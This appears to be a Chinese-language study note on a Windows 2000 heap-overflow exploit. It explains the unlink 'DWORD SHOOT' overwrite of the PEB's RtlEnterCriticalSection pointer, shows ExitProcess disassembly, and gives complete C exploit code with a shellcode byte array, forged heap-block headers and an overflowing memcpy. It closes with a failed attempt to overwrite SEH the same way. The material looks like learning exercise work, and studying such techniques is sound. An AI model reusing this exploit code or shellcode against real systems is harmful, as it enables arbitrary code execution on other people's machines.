我知道原理了：
当
int remove()
{
node->blink->flink = node->flink;
//这个是flink \x88\x06\x36\x00 这个是blink //\x20\xf0\xfd\x7f";
//将系统RtlEnterCritucalSection 的 flink指向 我们的shellcode起始地址 造成DWORD SHOOT
node->flink->blink = node->blink;
//这里看到是二次 DWORD SHOOT 但此次 影响不大
}
DWORD SHOOT 目标是 0x7ffdf020 处的 RtlEnterCriticalSection 函数指针，指向shellcode起始地址
DWORD SHOOT 完毕后，堆溢出导致异常，最终导致调用ExitProcess 结束进程
ExitProcess 在结束进程时需要调用 临界区函数来同步线程，但却从 P.E.B 中拿出了指向shellcode的指针，因此 shellcode被执行
77F89103 > 64:8B0D 1800000>mov ecx,dword ptr fs:[0x18] RtlEnterCriticalSection 77F89134 > 8B5424 04 mov edx,dword ptr ss:[esp+0x4] RtlLeaveCriticalSection 004013A5 > 64:A1 3000000>mov eax,dword ptr fs:[0x30] 004013AB 8B40 20 mov eax,dword ptr ds:[eax+0x20] ; ntdll.RtlEnterCriticalSection 004013A5 > 64:A1 3000000>mov eax,dword ptr fs:[0x30] 004013AB 8B40 24 mov eax,dword ptr ds:[eax+0x24] ; ntdll.RtlLeaveCriticalSection ExitProcess 77E6E01A > 55 push ebp 77E6E01B 8BEC mov ebp,esp 77E6E01D 6A FF push -0x1 77E6E01F 68 A0E0E677 push KERNEL32.77E6E0A0 77E6E024 68 B4F0E777 push KERNEL32.77E7F0B4 77E6E029 64:A1 00000000 mov eax,dword ptr fs:[0] 77E6E02F 50 push eax 77E6E030 64:8925 0000000>mov dword ptr fs:[0],esp 77E6E037 51 push ecx 77E6E038 51 push ecx 77E6E039 81EC 98000000 sub esp,0x98 77E6E03F 53 push ebx 77E6E040 56 push esi 77E6E041 57 push edi 77E6E042 803D 0800EC77 0>cmp byte ptr ds:[0x77EC0008],0x0 77E6E049 0F85 5CAD0200 jnz KERNEL32.77E98DAB 77E6E04F FF15 A010E677 call dword ptr ds:[<&NTDLL.RtlAcquirePeb>; ntdll.RtlAcquirePebLock 77F8C258 > 64:A1 18000000 mov eax,dword ptr fs:[0x18] //teb 77F8C25E 8B40 30 mov eax,dword ptr ds:[eax+0x30]//peb 77F8C261 FF70 1C push dword ptr ds:[eax+0x1C] 77F8C264 FF50 20 call dword ptr ds:[eax+0x20] // 调用shellcode //本来调用的是 77F89103 RtlEnterCriticalSection
DWORD SHOOT 利用申请内存 造成 “掉包” 内存的指向 实现 将指定跳转 跳转到我们指定的shellcode处
2000 下
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x03\x91\xF8\x77" //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";//需要重新查看，7ffdf020 只是存放有 RtlEnterCriticalSection 的地址，修改这个值
//0x00520688 is the address of shellcode in first heap block, you have to make sure this address via debug
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
//__asm int 3 //used to break the process
//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}这里利用 DWORD SHOOT 覆盖SEH 也就是 新申请内存时
node->bilink->flink = node->flink;
在内存中 显示：
flink 4字节 blink 4字节
！ ！ ！ ！ ！ ！ ！ ！
我们的shellcode起始 SEH地址
将SEH 指向 我们的shellcode
但还是不成功啊！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
不知道为什么 不成功
擦·我看到好像只有2000才能成功
